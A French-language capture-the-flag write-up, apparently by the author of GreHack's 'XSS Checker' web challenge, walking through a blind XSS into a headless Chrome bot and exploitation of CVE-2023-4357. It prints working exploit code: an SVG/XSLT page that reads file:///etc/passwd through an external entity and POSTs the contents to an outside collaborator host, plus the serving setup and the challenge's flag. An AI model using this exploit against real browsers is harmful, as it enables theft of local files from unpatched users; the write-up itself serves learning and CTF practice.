Introduction

Cette année, j’ai été heureux de faire partie du comité d’organisation de la conférence GreHack et j’ai pu créér quelques challenges pour le CTF. Merci à tous les participants et organisateurs, l’événement était une fois de plus génial 🔥 💚

Challenge

  • Nom : XSS Checker
  • Catégorie : Web
  • Résolutions : 3
  • Points : 400
  • Auteur : Nishacid

A Bug Bounty hunter created a community site for his friends to test whether their blind xss payloads would work in a real environment (without stealing any payloads, of course). As a security professional, he guarantees that his environment is secure and well containerized against any kind of attack.

Recon

Le challenge commence sur une interface web qui semble être un Bot qui vérifiera si votre payload fonctionne sur les vulnérabilité XSS en blind.

Nous pouvons vérifier avec un payload XSS classique si le bot réagit bien à ce type de vulnérabilité sur un serveur Out-Of-Band Interaction, et sans surprise le bot fonctionne correctement et nous pouvons observer que notre payload fonctionne.

<script>document.location="http://0tukxfzd9k50kg8bsh1fq6quzl5ct2hr.oastify.com"</script>

Cependant, quelle que soit le payload utilisé, aucun ne nous semble intéressante ou exploitable, et aucun cookie ou information sensible ne semble pouvoir être exfiltré.

Un point intéressant ici est le User-Agent utilisé par le Chrome Headless que le bot utilise pour vérifier notre payload.

HeadlessChrome/115.0.5790.170

Après quelques recherches sur les dernières vulnérabilités de Chrome, nous pouvons trouver une CVE CVE-2023-4357 qui pourrait être intéressante.

Insufficient validation of untrusted input in XML in Google Chrome prior to 116.0.5845.96 allowed a remote attacker to bypass file access restrictions via a crafted HTML page.

La vulnérabilité est liée à l’utilisation de Libxslt, qui est la bibliothèque XSLT standard pour les navigateurs construits sur WebKit, comme Chrome et Safari.
La gestion par Libxslt des entités externes dans les documents traités par la méthode XSL document() peut être exploitée.
Cette faille nous permet de contourner les mesures de sécurité et de lire les URL file:// dans des URL http(s)://, permettant ainsi une lecture de fichiers arbitraire.

Sur le site Chromium Bug Tracker, nous pouvons retrouver le post original du chercheur qui a trouvé cette CVE, et qui a fourni le PoC pour tester la vulnérabilité :

Exploiting

Pour la première étape de la configuration de l’exploit, nous allons créer le serveur web :

const express = require('express');
const path = require('path');

const app = express();
const port = 9090;

app.get('/exploit', (req, res) => {
  res.sendFile(path.join(__dirname, 'exploit.svg'));
});

app.get('/xxe', (req, res) => {
  res.set('Access-Control-Allow-Origin', '*');
  res.sendFile(path.join(__dirname, 'exploit.xsl'));
});

app.listen(port, () => {
  console.log(`App listening on port ${port}`);
});

Ensuite, nous allons créer le fichier exploit.svg, qui sera la route /exploit soit la page que le robot visitera. Comme il s’agit d’une vulnérabilité aveugle, nous devons mettre en place un serveur Out Of Band ici pour recevoir le résultat de l’exploit.

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="#"?>

<xsl:stylesheet id="color-change" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

 <xsl:template match="/">
	<svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 1000 1000">
		<script>
		const url = "https://7qyrumwk6r27hn5ipoymndn1ws2kqaez.oastify.com"
        setTimeout(() => {
            const lfi = document.getElementById("lfi").innerHTML;
			fetch(url, { method: "POST", body: lfi})
        }, 50)
        </script>
        <foreignObject id="lfi" width="1000" height="1000">
		    <div style="font-size:xxx-large" xmlns="http://www.w3.org/1999/xhtml">
			<xsl:copy-of  select="document('xxe')"/>
		    </div>
		</foreignObject>
	</svg>
 </xsl:template>
</xsl:stylesheet>

Enfin, nous allons créer le fichier exploit.xsl, qui sera chargé en tant qu’entité et renverra le fichier à lire.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE p [
<!ENTITY file SYSTEM "file:///etc/passwd">
]> 

<p>&file;</p>

Nous pouvons maintenant exécuter le serveur web :

npm i express

node app.js

Personnellement, je préfère installer un Reverse Proxy sur ce type de serveur, car certains réseaux et bots peuvent bloquer les ports non-standard comme 9090, mais autoriser les ports HTTP/HTTPS standard, donc cette étape est optionnelle.

J’utiliserai Caddy pour sa simplicité.

/etc/caddy/Caddyfile

xlst.i-will-pwn-your.host {
    reverse_proxy 127.0.0.1:9090
}

Une fois que la configuration est prête, nous pouvons prendre notre première payload XSS, et forcer le robot à visiter notre page :

Nous pouvons alors observer que le fichier /etc/passwd spécifié dans le fichier exploit.xsl est envoyé à notre serveur :

Pour conclure, il suffit de modifier notre fichier exploit.xsl pour récupérer le flag dans /flag.txt.

  • Flag : GH{XsS_T0_bR0wS3r_3xpl0it}